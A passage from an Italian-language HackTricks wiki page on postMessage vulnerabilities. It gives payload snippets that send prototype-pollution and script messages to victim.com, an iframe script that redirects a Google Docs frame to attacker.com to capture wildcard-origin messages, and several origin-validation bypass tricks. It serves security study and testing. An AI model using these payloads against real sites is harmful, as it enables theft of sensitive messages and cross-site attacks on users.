.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Vulnerabilità di PostMessage
Vulnerabilità di PostMessage
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.
Invia PostMessage
PostMessage utilizza la seguente funzione per inviare un messaggio:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Si noti che targetOrigin può essere un '*' o un URL come https://azienda.com.
Nel secondo scenario, il messaggio può essere inviato solo a quel dominio (anche se l'origine dell'oggetto window è diversa).
Se viene utilizzato il carattere jolly, i messaggi potrebbero essere inviati a qualsiasi dominio, e saranno inviati all'origine dell'oggetto Window.
Attacco all'iframe e carattere jolly in targetOrigin
Come spiegato in questo rapporto, se trovi una pagina che può essere inserita in un iframe (senza protezione X-Frame-Header
) e che sta inviando messaggi sensibili tramite postMessage utilizzando un carattere jolly (*), puoi modificare l'origine dell'iframe e rivelare il messaggio sensibile a un dominio controllato da te.
Si noti che se la pagina può essere inserita in un iframe ma il targetOrigin è impostato su un URL e non su un carattere jolly, questo trucco non funzionerà.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Sfruttamento di addEventListener
addEventListener
è la funzione utilizzata da JS per dichiarare la funzione che si aspetta i postMessages
.
Verrà utilizzato un codice simile al seguente:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Nota in questo caso come la prima cosa che il codice fa è verificare l'origine. Questo è estremamente importante, soprattutto se la pagina sta per fare qualcosa di sensibile con le informazioni ricevute (come cambiare una password). Se non verifica l'origine, gli attaccanti possono far inviare dati arbitrari a questi endpoint e cambiare le password delle vittime (in questo esempio).
Enumerazione
Per trovare gli event listener nella pagina corrente puoi:
- Cercare nel codice JS
window.addEventListener
e$(window).on
(versione JQuery) - Eseguire nella console degli strumenti per sviluppatori:
getEventListeners(window)
- Andare a Elementi --> Event Listeners negli strumenti per sviluppatori del browser
- Utilizzare un'estensione del browser come https://github.com/benso-io/posta o https://github.com/fransr/postMessage-tracker. Queste estensioni del browser intercetteranno tutti i messaggi e li mostreranno a te.
Bypass del controllo dell'origine
-
L'attributo
event.isTrusted
è considerato sicuro in quanto restituisceTrue
solo per gli eventi generati da azioni autentiche dell'utente. Se implementato correttamente, è difficile da eludere, ma la sua importanza nei controlli di sicurezza è notevole. -
L'uso di
indexOf()
per la validazione dell'origine negli eventi PostMessage potrebbe essere suscettibile di elusione. Un esempio che illustra questa vulnerabilità è:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Il metodo
search()
diString.prototype.search()
è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché nelle regex, un punto (.) funge da carattere jolly, consentendo di eludere la convalida con domini appositamente creati. Ad esempio:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
La funzione
match()
, simile asearch()
, elabora le espressioni regolari. Se la regex è strutturata in modo errato, potrebbe essere suscettibile di elusione. -
La funzione
escapeHtml
è destinata a sanificare gli input mediante l'escape dei caratteri. Tuttavia, non crea un nuovo oggetto di escape ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo che la sua proprietà controllata non riconoscahasOwnProperty
, l'escapeHtml
non funzionerà come previsto. Questo è dimostrato negli esempi seguenti: -
Fallimento previsto:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Elusione dell'escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Nel contesto di questa vulnerabilità, l'oggetto File
è particolarmente sfruttabile a causa della sua proprietà name
in sola lettura. Questa proprietà, quando utilizzata nei template, non viene sanificata dalla funzione escapeHtml
, creando potenziali rischi per la sicurezza.
- La proprietà
document.domain
in JavaScript può essere impostata da uno script per abbreviare il dominio, consentendo una politica di stessa origine più rilassata all'interno dello stesso dominio principale.
Bypass di e.origin == window.origin
Quando si incorpora una pagina web all'interno di un iframe sandbox utilizzando %%%